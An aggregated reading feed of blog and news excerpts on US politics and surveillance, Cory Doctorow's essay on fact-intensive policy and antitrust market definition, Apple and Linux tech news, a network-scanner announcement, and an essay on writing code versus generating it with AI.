Sen. Wyden Warns of Another Section 702 Abuse

Sen. Ron Wyden is warning us of an abuse of Section 702:

Wyden took to the Senate floor to deliver a lengthy speech, ostensibly about the since approved (with support of many Democrats) nomination of Joshua Rudd to lead the NSA. Wyden was protesting that nomination, but in the context of Rudd being unwilling to agree to basic constitutional limitations on NSA surveillance. But that’s just a jumping off point ahead of Section 702’s upcoming reauthorization deadline. Buried in the speech is a passage that should set off every alarm bell:

There’s another example of secret law related to Section 702, one that directly affects the privacy rights of Americans. For years, I have asked various administrations to declassify this matter. Thus far they have all refused, although I am still waiting for a response from DNI Gabbard. I strongly believe that this matter can and should be declassified and that Congress needs to debate it openly before Section 702 is reauthorized. In fact, ...

Some Very Bad News for Trump

And his truly terrible week is about to get even worse.

The Conflict Between Sustainable Debt and Sustainable Life in Argentina

In Argentina's recent debt renegotiations with the IMF, the overriding goal has been to ensure the government can meet all future payment obligations. Yet the conditions imposed to achieve this aim have deepened a crisis of social reproduction, rendering life itself unsustainable.

@Dave Winer's linkblog

Iran’s closure of the Strait of Hormuz is an international crisis.

Install This Modern Network Scanner with TUI Mode

If you’ve used tools like nmap and found them heavy, verbose, or too slow for simple tasks, Nibble solves exactly that problem.

Nibble is an open-source network scanner focused on simplicity, speed, and usability. It allows you to discover devices and services on your local network without needing to memorize complex commands or configure anything manually. It works on GNU/Linux, macOS, and Windows (x86 and ARM).

Installation

• brew install backendsystems/tap/nibble
• pipx install nibble-cli
• npm install -g @backendsystems/nibble
• go install github.com/backendsystems/nibble@latest

Or run it directly with:

npx @backendsystems/nibble

Nibble repository.

Document Freedom Day: because the format is the message

Every year, on the last Wednesday in March, the open-source community celebrates Document Freedom Day. It’s an excellent opportunity to pause for a moment and ask a question that seems technical but is actually deeply political: who controls your documents? The answer depends almost entirely on the file formats

The War on Wind Continues

The burn, baby, burn compulsion persists amid a fossil fuel crisis

Lit Hub Daily: March 25, 2026

“The ruling class knows that if you give the smartest person in the room a microphone they’re probably going to say free Palestine.” NYU has put an end to live student graduation speeches. | Lit Hub Politics Why the town

Kari Lake's dismantling of VOA is a full-blown fiasco

It's just as shambolic as her political career.

The Town Where The Last Picture Show Was Filmed Absolutely Hated It

Like many artists with uneven careers, Peter Bogdanovich learned to keep his distance from reviews, especially bad reviews. “My analogy is, if somebody’s shooting at you, you don’t really want to raise your head to see what kind of gun

On a Bet, Jean-Baptiste Lamarck Invented the Way We Still Identify Plants

If you’re an herbivore, constantly in danger of being devoured by a lion, you must do a lot of running, and you become slender and swift. If an idiot friend has attempted to lift you by the head, causing a

The Origin of Our Species: How Grains and Grasses Fed (and Still Feed) Humankind

As I walk through the broomsedge in June, dozens of grasshoppers clatter away with every footstep. Bees and wasps wing past, leafhoppers spring, and beetles scurry for cover. This productivity is why so many birds depend on grasslands for their

@Dave Winer's linkblog

“Too complicated for people to understand” is often bullshit.

@Dave Winer's linkblog

Kornacki!

Dragoncatcher: Elemental content

Weird concept done well. Read here.

What Did European Life Look Like at the Dawn of Capitalism?

History is the process of change over time, and the history of something as big and complex as capitalism can easily lose sight of the tangible experience of the people living through it. For that reason, at the beginning, middle,

Trailblazer or Panderer? Inside the Life and Career of Black Comedian Stepin Fetchit

They gathered downtown at the Civic Club in lower Manhattan—bright, ambitious, and determined to chart a new course for Black art and identity. Among them were Jean Toomer, Langston Hughes, Countee Cullen, and Alain Locke, all emerging as literary lions

The Real Cancel Culture: NYU Has Put an End to Live Student Graduation Speeches

Though New York University contingent faculty’s ongoing strike is the biggest news of late from campus, the institution’s  suspect labor practices aren’t the only recent damning headlines: NYU is also attempting to silence its students. On March 5, Washington Square

On the Complexities of Navigating Indigenous Life in a Relentlessly Modern World

Over the past twenty years, Indigenous issues have gone mainstream. Land acknowledgments, protest movements, scholarly conversations, the UN themed decade, and the Indigenous Literature category on Lit Hub all speak to that. As someone who comes from the Mari community

Why We Still Need Book Festivals

The health of a society can often be measured by the freedom of its books. Every society that has tried to control its people has started by controlling its books. And every society that has expanded freedom has done the

Happiness

You arrived with startling and terrible news, having decided to inform me of it immediately, audaciously, and forthrightly, banking on my staunch inner resolve, yet showing both pity and compassion for me all the same: ‘I’m afraid you’ll find what

One hundred weirdo emails

I hope I don’t have to spell it out but I will do it anyway: in these cases I don’t know anything about their products and I cannot help them. Quite often I first need to search around only to figure out what the product is or does, that the person asks me about. Over … Continue reading One hundred weirdo emails→

Trump’s Graft, Insider’s Grift

There’s a word for this, and it’s not pretty

Searches

In Searches: Selfhood in the Digital Age, journalist Vauhini Vara explores how the technologies we use to understand the world—search engines, social platforms, and now AI systems—are also reshaping how we understand ourselves. Drawing from her own experience using chatbots to write about her sister’s death, Vara reflects on what happens when our most human questions, memories, and emotions are filtered through systems designed to analyze and monetize them. Humanities scholar Luca Messarra speaks with Vara about the promises and limits of machine understanding.

Grab your copy of Searches: Selfhood in the Digital Age: https://www.vauhinivara.com/searches

This conversation was recorded on 2/26/2026. Watch the full video recording at: https://archive.org/details/searches-book-talk

Check out all of the Future Knowledge episodes at https://archive.org/details/future-knowledge

Pluralistic: The cost of doing business (25 Mar 2026)

Today's links The cost of doing business: "Market definition" is a denial-of-service attack on antitrust law. Hey look at this: Delights to delectate. Object permanence: Union Pacific v model railroads; Warners v Potter fans; NYT's trademark trolling; Why Rebecca Black mashups suck; Jabba the peep; Grenfell costs v tenants. Upcoming appearances: Berkeley, Montreal, London, Berlin, Hay-on-Wye. Recent appearances: Where I've been. Latest books: You keep readin' em, I'll keep writin' 'em. Upcoming books: Like I said, I'll keep writin' 'em. Colophon: All the rest. The cost of doing business (permalink) The most important part of any law, rule or policy isn't what it permits or prohibits – it's whether you can enforce the law at all. After all, as odious as a law that forbids people from thinking mean thoughts about Trump would be, it would also be completely unenforceable, and would ultimately just not be very important, except as a symbol of Trump's evil. This property is called "administrability," meaning, "the degree to which an authority can administer the policy." There are many dimensions to administrability, including "Is it even possible to detect whether this policy has been violated?" In that same vein, there're questions like, "If you discover someone has violated this policy, will you be able to stop them from continuing to do so?" For example, the US routinely indicts North Korean hackers, but unless those hackers visit a place that the US can inveigle into arresting and extraditing them, it's a mostly symbolic gesture: https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and One undertheorized aspect of administrability is "fact-intensivity"; that is, are there difficult, fact-intensive questions that need to be answered in order to determine whether someone has violated this policy? Think of probate law: probate is often a lengthy and expensive process, especially if the deceased is "intestate" (has no will). To probate an estate, all the deceased's assets have to be cataloged and assessed, claims of heirs and inheritors have to be evaluated, etc, etc. People spend a lot of time and money creating wills and family trusts largely to answer these questions when they're easiest to resolve (when you're still alive and can clearly express your preferences), because it's even more expensive and time-consuming to answer these questions when you're not around anymore to weigh in on them. As complex and time-consuming as managing your estate can be, there's nothing wrong in theory with having a complicated, careful process in place for dealing with it. Taking care of your loved ones and disposing of your assets is something that's worth getting right, and people have all kinds of highly individual preferences for this that requires a lot of flexibility in the system. Making a system that's very customizable but also robust against fraud (or even honest mistakes) requires a lot of administrative superstructure to hold it all together. And besides, probate isn't something we have to do very often. After all, most of us will only die one or fewer times. It's not like we have to figure this stuff out every day. It's the kind of thing you can do every couple of decades, over several hours, spread out over weeks. Frequency, then, is the enemy of fact-intensivity. If you had to do probate-level form-filling to buy a cup of coffee or pay your electricity bill, that would be nuts. For one thing, it would be full employment for lawyers – and it would cost so much that by the time you got to the cafe or the gas-pump, you'd be too broke to actually complete the transaction. This comes up a lot in discussions of tech policy, because once you computerize something, you can start to do it very quickly, which means that policies that added, say, a 1% admin overhead to a task before it was digitized can add up to a 1,000% overhead once it's digitized. The best example of this is copyright: copyright is the most fact-intensive doctrine you deal with on a day to day basis. Technically, conclusively determining whether you have the right to forward an email could take a lawyer a whole day. Sure, most email forwarding is "fair use" (that is, it fits into one of copyright's "limitations and exceptions"), but any decent IP law prof could come up with ten email forwarding hypotheticals in ten minutes that could occupy a whole fourth-year IP law class for an entire semester. One of the reasons copyright is so fact-intensive is that it was designed to be invoked infrequently. We're talking about a legal regime that was designed to answer questions about book and music publishing (and then adapted for other kinds of media), and even the most prolific publisher or label is going to deal with double-digits' worth of new works per season. Meanwhile, the people working at that same publisher are likely forwarding hundreds, if not thousands of emails per day. If the publisher's copyright lawyers had to review every one of those forwards, they would never publish another book. They would go bankrupt. Obviously, that's not how things work. Why not, though? Well, mostly because we just pretend copyright law isn't there. To the extent that we do acknowledge the potential for copyright liability from everyday activities that no one ever asks a lawyer to sign off on, we manage that liability through shitty, one-sided contracts. You have undoubtably clicked on dozens of agreements this year wherein you warranted that nothing you were doing violated copyright law (a neat trick, given that you probably have no idea whether any of the activities you routinely engage in could violate copyright) and further, you indemnified someone else for "all costs arising from any claims" associated with your activity. That's an unbelievably shitty, one-sided clause for you to have "agreed" to, since "any claims" includes claims with no merit and "all costs" includes "money we paid someone who brought a bullshit claim to just go away." In other words, you routinely click through these nonsense "agreements" where you promise to give every cent you have to anyone who wants it, if the company that made you click through that bullshit decides to promise some deranged rando a million bucks to settle their wild accusation that you violated their copyrights. For complicated reasons, we're not all drowning in copyright lawsuits all the time, but if someone really wanted to fuck you up and they had deep enough pockets, they could use the fact that you're a giant, routine copyright infringer (just like everyone else) to wreck your life for years. So obviously, it would have been better if we'd done some major refactoring of copyright law once the internet came along. My preferred fix? Carve out activities unrelated to the media industry's supply chain from copyright altogether: https://pluralistic.net/2023/10/21/the-internets-original-sin/ Copyright isn't the only fact-intensive doctrine that's challenged by the cadence of digital life. The internet lets us do a lot of things, very quickly, meaning that even small factual questions pile up beyond any reasonable capacity to resolve them. Take the debate over content moderation and hate speech. Hate speech and harassment online are serious problems and they disproportionately affect people who are getting the shitty end of the stick in the offline world, too. The legacy platforms obviously don't give a damn about these people, either. So it's tempting to attempt to use policy to solve this real problem. Even if the US wasn't being run by a trollocracy, this would probably be a nonstarter in America, because hate speech is protected by the First Amendment, and purely speech-based harassment is hard to punish without falling afoul of 1A. But other countries – notably the EU – are having a go at it. I think this is a doomed effort – but not because hate speech isn't a serious problem! Rather, because hate speech regulations are very fact intensive, and hate speech is very common. Frequency is the enemy of fact-intensivity. Say the EU creates a rule requiring platforms to take reasonable measures to prevent hate speech. This requires arriving at a common definition of hate speech; adjudicating whether a given user's speech rises to that definition; and determining whether the platform's technical measures were "reasonable." This is the work of months, if not years. And hate speech happens hundreds of times per minute on the big platforms. It's just not an administrable policy. Now, just because policy isn't administrable, it doesn't follow that there's nothing to be done. There's other ways to give relief to the targets of harassment and hate speech. To get to those ways, we have to ask ourselves why people who are tormented by trolls stay on the platforms that expose them to abuse. There are plenty of extremely wrong explanations for this floating around. One is that Mark Zuckerberg and Elon Musk are Cyber-Rasputins who can hypnotize us into using their platforms even if we don't like them, by "hacking our dopamine loops." This is a very silly explanation: everyone who's ever claimed to have perfected mind-control was a liar and/or deluded: https://pluralistic.net/HowToDestroySurveillanceCapitalism Another is that people are lying (possibly to themselves) when they say they don't like being harassed on legacy social media platforms. This theory – from neoclassical econ – is called "revealed preferences," and it holds that people whose actions go against their stated preferences are "revealing a preference" for the thing they're doing. This is the sort of thing you end up believing in if you incur the kind of neurological injury that arises from pursuing an economics degree, which causes you to be incapable of reasoning about (or even perceiving) power. "Revealed preferences" tells you that if someone sells their kidney to pay the rent, they have a "revealed preference" for having one kidney. Thankfully, there's a much simpler explanation for people's continued use of platforms where they are subject to abuse and harassment. It's this: the only thing worse than being a member of a disfavored minority who is subject to abuse and harassment is being a member of a disfavored minority who is subject to abuse and harassment who is also isolated from your community. Leaving Facebook or Twitter means leaving behind the people who comfort and support you when you are subject to abuse. The more abuse and discrimination you face, the more that support matters, and the harder it is to leave that community behind. You love your community more than you hate Zuck or Musk, so you stay, because as much as you love them, it's transcendentally difficult to coordinate a mass departure for somewhere else. This is called the "collective action problem" and it's a regressive tax on the most abused platform users and communities. This is a problem we can solve with policy! We can mandate that platforms support interoperability, so that when you leave a legacy platform like Twitter or Facebook for a modern platform like Mastodon or Bluesky, the messages addressed to you on the legacy platform are forwarded to your new home. That way you can have the people you love without the platform you hate. This is a very administrable policy. The main lift is figuring out the nuts and bolts of interoperability, and while that's a big technical project, it's the kind of thing you only have to do once or twice. Then, if a platform fails in its duty to forward your messages after you leave, it's very easy for a regulator to determine whether it's violating the rules – they just have to send a message to your old account and see if it shows up for your new account: https://pluralistic.net/2022/12/19/better-failure/#let-my-tweeters-go A hate speech policy is hard to administer because it requires resolving a bunch of fact-intensive questions. A "right to exit" policy replaces all those fact-intensive questions with a bright line policy ("if you don't forward your former users' messages, you are guilty"), which can be administered at high speed. Whenever a fact-intensive policy that regulates an infrequent activity fails because the activity becomes more frequent, you have two choices: you can either slow down the activity, or you can replace the fact-intensive questions with bright-line tests that can be resolved much more quickly. But more often, we fail to do either, and everything goes very badly indeed. That's more or less what's happened with "merger scrutiny," the part of antitrust law that lets competition regulators (or competitors) block or put conditions on mergers that involve large firms. In these merger scrutiny cases, plaintiffs who challenge a merger are expected to resolve a bunch of extremely fact-intensive questions. Fail to resolve any of these questions and the merger goes ahead. The most pernicious fact-intensive question that arises in antitrust cases is "market definition." That's pretty much what it sounds like: "What market is this company doing business in?" If you can prove that the companies in a proposed merger are in the same market, then it's a lot easier to prove that allowing the merger would reduce competition. The problem is that "market" is a very slippery concept. As Tim Wu describes in his excellent book The Age of Extraction, "market definition" creates a near-infinite amount of wiggle-room: https://www.wired.com/story/tim-wu-age-of-extraction/ When Wu was serving in the Obama FTC, he had a front-row seat for Google's acquisition of Waze. Now, obviously these companies are direct competitors, but the Obama administration wanted the merger to go through (it was dominated by people who thought monopolies are efficient and didn't want to do their jobs). So these officials decided that Google Maps' market was "finding out where you are" and that Waze's market was "getting you somewhere." It was really that stupid. Writing for the Law and Political Economy project, Hal Singer explains how the fact-intensive nature of the "market definition" question makes it virtually impossible to prevent market concentration and abuse of dominance: https://lpeproject.org/blog/the-market-definition-trap/ From Livenation/Ticketmaster to Paramount/Warner Brothers, the "market definition trap" leaves the public virtually defenseless before efforts to reorganize the economy into extractive, rapacious cartels. In a recent interview with the Do Not Pass Go podcast, Paul Crampton (Canada's recently retired top competition judge) talks about the tsunami of mergers that Canada's Competition Bureau is expected to oversee: https://www.donotpassgo.ca/p/inside-canadas-competition-court Fact-intensive market definition questions can't possibly be resolved at the pace of mergers. That's because companies' preferred growth strategy is combining, rather than competing. There's plenty of political problems with merging Paramount and Warner, but there's also a huge economic problem, because these companies are direct competitors who will soon operate as a single firm. The M&A industry has staged a denial of service attack on its regulators, accelerating the pace of mergers involving large firms far beyond the ability of a regulator to resolve the fact-intensive questions these mergers raise. They've flooded the zone, and after the mergers go through and the companies start abusing their customers, workers and competitors, these same market definition questions bedevil any attempt to rein in this abuse of dominance. Singer makes some excellent suggestions for legal reforms to resolve this, moving some of the fact-intensive questions to bright-line ones, such as "whether the challenged conduct injured workers, consumers, or some other counterparty." This is the right approach. As we plan for a future in which legislatures recognize the enormous harms that monopolization inflicted on our societies, we need to come up with more bright-line rules for antimonopoly rules. These will lack some of the subtlety that fact-intensive treatment affords, but you can't do fact-intensive adjudication for high frequency activities. So maybe we say that no company can acquire or merge with another company more than once in 18 months, or that companies that share more than 10% of their customers can't merge. Some "good" mergers will fail these tests, but that's the price we pay. If you want to move mergers from a rare occurrence to an everyday, you're going to have to accept a loss of nuance in the rules for these mergers. The alternative is the ugly, self-destructive mess we have today. (Image: Harrison Keely, CC BY 4.0; DocteurCosmos, CC BY 3.0; modified) Hey look at this (permalink) "Gooning Towards the Führer" as policy coordination https://www.programmablemutter.com/p/gooning-towards-the-fuhrer-as-policy The one thing everyone gets wrong about feminism https://www.theguardian.com/world/2026/mar/15/feminism-isnt-dead-rebecca-solnit Object permanence (permalink) #25yrsago Warner Bros v Potter fandom https://web.archive.org/web/20010331091849/http://www.potterwar.org.uk/home/index.html #20yrsago Rant transcript from Game Developers’ Conference https://web.archive.org/web/20060404230422/http://crystaltips.typepad.com/wonderland/2006/03/gdc_game_develo.html #20yrsago Union Pacific threatens to sue painters, model railroaders over trademark https://web.archive.org/web/20060413085045/https://www.trains.com/community/forum/topic.asp?page=-1&TOPIC_ID=60666&REPLY_ID=681783#681783 #20yrsago US frequent flier programs deliver less and less https://www.nytimes.com/2006/03/21/business/still-loyal-to-your-airline-you-must-be-looney-tunes.html #20yrsago Mother Jones on IP overkill https://www.motherjones.com/politics/2006/03/intellectual-property-run-amok/ #20yrsago Comic advises women to call anti-abortion Senator to make their choices https://web.archive.org/web/20060321230542/http://minimumsecurity.net/toons2006/6034.htm #20yrsago HOWTO become an early riser https://stevepavlina.com/blog/2005/05/how-to-become-an-early-riser/ #15yrsago Trademark thought experiment: when should intermediaries be cops? (Barista vs. Barbie) https://memex.craphound.com/2011/03/23/trademark-thought-experiment-when-should-intermediaries-be-cops-barista-vs-barbie/ #15yrsago New York Times advances weird, self-destructive trademark theory to prop up its paywall https://memex.craphound.com/2011/03/23/new-york-times-advances-weird-self-destructive-trademark-theory-to-prop-up-its-paywall/ #15yrsago LSE economists: file sharing isn’t killing music industry, but copyright enforcement will https://arstechnica.com/tech-policy/2011/03/is-file-sharing-the-global-future/ #15yrsago Anti-union group: send us secret, unlimited donations so we can bring transparency to politics! https://web.archive.org/web/20110325141411/https://www.wmc.org/MediaOutlet/display.cfm?ID=2485 #15yrsago Why Rebecca Black fascinates us, and why the mashups suck https://www.happyrobot.net/words/pony.asp?id=10233 #15yrsago Understanding the SSL security breach, preparing for the next one https://www.eff.org/deeplinks/2011/03/iranian-hackers-obtain-fraudulent-https #10yrsago Airlines celebrate record profits, having killed bereavement fares https://www.latimes.com/business/la-fi-lazarus-20160322-column.html #10yrsago Bake: homemade Jabba the Hutt peeps https://www.starwars.com/news/jabba-the-hutt-marshmallow-treats #5yrsago Tories pass Grenfell costs onto tenants https://pluralistic.net/2021/03/23/parliament-of-landlords/#slow-motion-arson Upcoming appearances (permalink) Berkeley: Bioneers keynote, Mar 27 https://conference.bioneers.org/ Montreal: Bronfman Lecture (McGill), Apr 10 https://www.eventbrite.ca/e/artificial-intelligence-the-ultimate-disrupter-tickets-1982706623885 Montreal: Drawn and Quarterly, Apr 10 https://mtl.drawnandquarterly.com/events/4863920260410 London: Resisting Big Tech Empires (LSBU), Apr 25 https://www.tickettailor.com/events/globaljusticenow/2042691 Berlin: Re:publica, May 18-20 https://re-publica.com/de/news/rp26-sprecher-cory-doctorow Berlin: Enshittification at Otherland Books, May 19 https://www.otherland-berlin.de/de/event-details/cory-doctorow.html Hay-on-Wye: HowTheLightGetsIn, May 22-25 https://howthelightgetsin.org/festivals/hay/big-ideas-2 Recent appearances (permalink) Do you feel screwed over by big tech? (Ontario Today) https://www.cbc.ca/listen/live-radio/1-45-ontario-today/clip/16203024-do-feel-screwed-big-tech Launch for Cindy's Cohn's "Privacy's Defender" (City Lights) https://www.youtube.com/watch?v=WuVCm2PUalU Chicken Mating Harnesses (This Week in Tech) https://twit.tv/shows/this-week-in-tech/episodes/1074 The Virtual Jewel Box (U Utah) https://tanner.utah.edu/podcast/enshittification-cory-doctorow-matthew-potolsky/ Tanner Humanities Lecture (U Utah) https://www.youtube.com/watch?v=i6Yf1nSyekI Latest books (permalink) "Canny Valley": A limited edition collection of the collages I create for Pluralistic, self-published, September 2025 https://pluralistic.net/2025/09/04/illustrious/#chairman-bruce "Enshittification: Why Everything Suddenly Got Worse and What to Do About It," Farrar, Straus, Giroux, October 7 2025 https://us.macmillan.com/books/9780374619329/enshittification/ "Picks and Shovels": a sequel to "Red Team Blues," about the heroic era of the PC, Tor Books (US), Head of Zeus (UK), February 2025 (https://us.macmillan.com/books/9781250865908/picksandshovels). "The Bezzle": a sequel to "Red Team Blues," about prison-tech and other grifts, Tor Books (US), Head of Zeus (UK), February 2024 (thebezzle.org). "The Lost Cause:" a solarpunk novel of hope in the climate emergency, Tor Books (US), Head of Zeus (UK), November 2023 (http://lost-cause.org). "The Internet Con": A nonfiction book about interoperability and Big Tech (Verso) September 2023 (http://seizethemeansofcomputation.org). Signed copies at Book Soup (https://www.booksoup.com/book/9781804291245). "Red Team Blues": "A grabby, compulsive thriller that will leave you knowing more about how the world works than you did before." Tor Books http://redteamblues.com. "Chokepoint Capitalism: How to Beat Big Tech, Tame Big Content, and Get Artists Paid, with Rebecca Giblin", on how to unrig the markets for creative labor, Beacon Press/Scribe 2022 https://chokepointcapitalism.com Upcoming books (permalink) "The Reverse-Centaur's Guide to AI," a short book about being a better AI critic, Farrar, Straus and Giroux, June 2026 (https://us.macmillan.com/books/9780374621568/thereversecentaursguidetolifeafterai/) "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2026 "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027 "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, 2027 "The Memex Method," Farrar, Straus, Giroux, 2027 Colophon (permalink) Today's top sources: Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America. First draft complete. Second draft underway. "The Reverse Centaur's Guide to AI," a short book for Farrar, Straus and Giroux about being an effective AI critic. LEGAL REVIEW AND COPYEDIT COMPLETE. "The Post-American Internet," a short book about internet policy in the age of Trumpism. PLANNING. A Little Brother short story about DIY insulin PLANNING This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net. https://creativecommons.org/licenses/by/4.0/ Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution. How to get Pluralistic: Blog (no ads, tracking, or data-collection): Pluralistic.net Newsletter (no ads, tracking, or data-collection): https://pluralistic.net/plura-list Mastodon (no ads, tracking, or data-collection): https://mamot.fr/@pluralistic Bluesky (no ads, possible tracking and data-collection): https://bsky.app/profile/doctorow.pluralistic.net Medium (no ads, paywalled): https://doctorow.medium.com/ https://twitter.com/doctorow Tumblr (mass-scale, unrestricted, third-party surveillance and advertising): https://mostlysignssomeportents.tumblr.com/tagged/pluralistic "When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer. ISSN: 3066-764X

Dissecting meaning

I’m responding to a piece criticizing the stochastic parrots paper — not wholly backing the parrot metaphor, but also don’t think that models “understand” what they are saying / convey meaning the same way that humans do. Shot: Polly wants a better argument by SE Gyges Humans acquire large classes of concepts primarily through language, […]

Captain Ahab Has Caught His Whale

A Crisis Dispatch

March 24, 2026

This morning, economist Paul Krugman came right out and said it: “People close to Trump are trading based on national secrets.” Another word for that, he said, is “treason.” The evidence for such a claim is the sudden and isolated jump in trading volume in S&P 500 and oil futures about 15 minutes before Trump suddenly announced that the U.S.

MNT Pocket Reform with new CPU

A few days ago I have received the new Rockchip RK3588 CPU card for my Pocket Reform. I already have the same CPU in my "full-sized" MNT Reform 2 laptop and it is much better than the original (much older) CPU. Of course, the suspend to RAM is still not working on the Linux+RK3588.

Wednesday 25 March, 2026

Blossoming Seen on a walk on Saturday. Quote of the Day ”I would never die for my beliefs because I might be wrong.” Bertrand Russell Musical alternative to the morning’s radio news Sonny Boy Williamson and the Yardbirds | Pontiac … Continue reading →

Why I'm back to building the Digital Evidence Toolkit

Last month, Wikipedia banned Archive.today and began removing close to 700,000 citation links. The reason was forensic evidence that the service had been quietly altering its own archived captures. As hard as it is to believe…

Archive.today was the if-you-know-you-know resource for journalists and fact-checkers. Its operators were always anonymous, which felt like… a quirk, not a flaw? Turns out the opacity was the whole problem: the same people who ran the infrastructure could rewrite what it stored. An archive that rewrites history is not an archive. It’s a liability.

Bookshop.org embeds

Share book recommendations with rich embeds from Bookshop.org

Children of the World, Your Parents are Stupid

A recording from Mike Brock's live video

@Miguel de Icaza Mastondon feed

RE: https://mastodon.social/@swiftlang/116286524514684047

When you are an Android developer, you can finally have a daily Xmas celebration!

Lightroom End Marks

Marcin Wichary: The search for the strangest Adobe setting continues in Lightroom, where the first option in the Interface section is… end marks[…] Presently, only one option is there… …but at least back in 2012 there were many more. What does it do? It adds an old-time’y glyph at the end of either left or […]

Background Garmin iPhone Syncing in EU

Sunil Bhatt: Thanks to the European Union’s Digital Markets Act (DMA), Garmin watches in the EU can now sync steps, sleep, and heart rate data automatically, even when the Garmin Connect app is closed. This removes a long-standing limitation that previously favoured the Apple Watch. For years, Garmin users on iPhone had to manually open […]

AppGrid Updates Blocked From App Store

Attila Miklosi: Apple replaced Launchpad with a new “Apps” view — a hybrid of Spotlight search and a scrolling list of your installed applications. You can access it from the Dock or via keyboard shortcut, but it behaves very differently from the old grid. […] AppGrid is a grid-based app launcher built specifically for macOS […]

Democrats could have been

Democrats could run an ad that would give an estimate of how much work you'd have to do to vote if the Republican plan passes.

And roughly how many people are like you and how likely they are to vote Democratic.

People can understand March Madness, they can understand this. You have to help though. The first question could be:

The first question could be:

1. Do you have your birth certificate or passport?

In the ad we could also estimate what the probable makeup of Congress would be if the law passed.

And keep an open mind, it's possible this move could backfire on the Republicans. Who knows how people will vote after this kind of madness becomes law.

They might want to keep things as they are.

Mozilla could have been

I’ve watched Mozilla not get it for what feels like decades.

Their only legit function imho is to make the real actual web be a great platform for independent developers.

For that, start by adding user controlled storage to the web, a few standard formats, and let app devs take it from there.

Trump's Deployment Of ICE To U.S. Airports Follows A Disturbingly Familiar Pattern

His use of ICE and federalized National Guard as his personal army has met stiff resistance. But what's his next big move?

Newsletter: Cults Take More Than Just Your Time

Viktor Frankl called it an existential vacuum, and cult survivors know it well

Bonus: Trump's approval stuck at record low as approval on prices sinks to -39

A look at the toplines of our new monthly polling data

What News Do We Trust?

Listen now |

★ What to Do About Those Menu Item Icons in MacOS 26 Tahoe

If this worked to hide *all* of these cursed little turds smeared across the menu bar items of Apple’s system apps in Tahoe, this hidden preference would be a proverbial pitcher of ice water in hell. As it stands, alas, it’s more like half a glass of tepid water.

Code as a Tool of Process

Steve Krouse wrote a piece that has me nodding along:

Programming, like writing, is an activity, where one iteratively sharpens what they're doing as they do it. (You wouldn't believe how many drafts I've written of this essay.)

There’s an incredible amount of learning and improvement, i.e. sharpening, to be had through the process of iteratively building something.

As you bring each aspect of a feature into reality, it consistently confronts you with questions like, “But how will this here work?” And “Did you think of that there?”

If you jump over the process of iteratively building each part and just ask AI to generate a solution, you miss the opportunity of understanding the intricacies of each part which amounts to the summation of the whole.

I think there are a lot of details that never bubble to the surface when you generate code from English as it’s simply not precise enough for computers.

Writing code is a process that confronts you with questions about the details.

If you gloss over the details, things are going to work unexpectedly and users will discover the ambiguity in your thinking rather than you (see also: “bugs”).

Writing code is a tool of process. As you go, it sharpens your thinking and helps you discover and then formulate the correctness of your program.

If you stop writing code and start generating it, you lose a process which helped sharpen and refine your thinking.

That’s why code generation can seem so fast: it allows you to skip over the slow, painful process of sharpening without making it obvious what you’re losing along the way.

You can’t understand the trade-offs you’re making, if you’re not explicitly confronted with making them.

A Metaphor

To help me try to explain my thinking (and understand it myself), allow me a metaphor.

Imagine mining for gold.

There are gold nuggets in the hills.

And we used to discover them by using pick axes and shovels.

Then dynamite came along. Now we just blow the hillside away. Nuggets are fragmented into smaller pieces.

Quite frankly, we didn’t even know if there were big nuggets or small flecks in the hillside because we just blasted everything before we found anything.

After blasting, we take the dirt and process it until all we have left is a bunch of gold — most likely in the form of dust.

So we turn to people, our users, and say “Here’s your gold dust!”

But what if they don’t want dust? What if they want nuggets? Our tools and their processes don’t allow us to find and discover that anymore.

Dynamite is the wrong tool for that kind of work. It’s great in other contexts. If you just want a bunch of dust and you’re gonna melt it all down, maybe that works fine. But for finding intact, golden nuggets? Probably not.

It’s not just the tool that helps you, it’s the process the tool requires. Picks and shovels facilitate a certain kind of process. Dynamite another.

Code generation is an incredible tool, but it comes with a process too. Does that process help or hurt you achieve your goals?

It’s important to be cognizant of the trade-offs we make as we choose tools and their corresponding processes for working because it’s trade-offs all the way down.

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Bluesky

@Miguel de Icaza Mastondon feed

New sublime sandwich at Parish cafe

The Brazilian law that changes everything for schools, and why LibreOffice is the right answer

Brazil’s Lei 15.211/2025, also known as the Estatuto Digital da Criança e do Adolescente (EDCA), came into force on 17 March 2026. It is one of the world’s most comprehensive digital child protection laws, with profound implications for the Brazilian education system. School administrators, IT managers, and education policymakers now

Anarchism and the Promise of Revolution (V for Vendetta)

Video Version | Audio Version Following the blockbuster success of The Matrix trilogy of films (1999-2003), the writer-director Wachowski sisters could essentially do whatever they wanted. And what they chose to do, in the wake of 9/11 and the Bush administration’s ramping up of the surveillance state and endless war, was adapt a graphic novel in which

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Age checks creep into Linux as systemd gets a DOB field

Flatpak may be next, and the lobbying behind it is raising eyebrows

After weeks of debate, code to record user age was finally merged into the Linux world's favorite system management daemon.

Please don’t thank me

I thank YOU

WebKit Features for Safari 26.4

March has a way of bringing a lot of new things to WebKit — and this year is no exception.

Memory lane for Frontier users

I had to find out which domains being served by a problem server were still mapping to its domain. This server had been running for six years, and I was pretty sure some of the apps had moved.

So I wrote a script in Frontier, it was the best tool available to me, and got my answer in 20 minutes, code written from scratch.

The script visited each subfolder, the filename is the domain of the folder, finds out which server it's supposed to be running on, based on a DNS lookup, and adds a line to a list.

Here's a screen shot of the domains folder.

Here's the script as a screen shot and GitHub doc.

